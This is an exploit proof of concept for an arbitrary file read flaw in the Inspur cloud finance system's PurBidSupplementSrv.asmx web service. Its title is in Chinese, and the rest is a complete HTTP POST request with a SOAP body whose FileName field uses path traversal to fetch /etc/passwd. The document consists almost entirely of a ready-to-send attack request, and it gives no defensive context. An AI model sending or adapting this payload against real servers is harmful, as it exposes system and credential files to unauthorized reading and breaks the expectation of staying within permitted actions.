浪潮云财务系统 PurBidSupplementSrv.asmx 任意文件读取漏洞

POST /cwbase/service/cepp/PurBidSupplementSrv.asmx HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 296
Content-Type: application/soap+xml; charset=utf-8
User-Agent: Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/109.0 Safari/537.36

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.example.com/">
  <soapenv:Header/>
  <soapenv:Body>
    <web:GetFile>
      <web:FileName>../../../../etc/passwd</web:FileName>
    </web:GetFile>
  </soapenv:Body>
</soapenv:Envelope>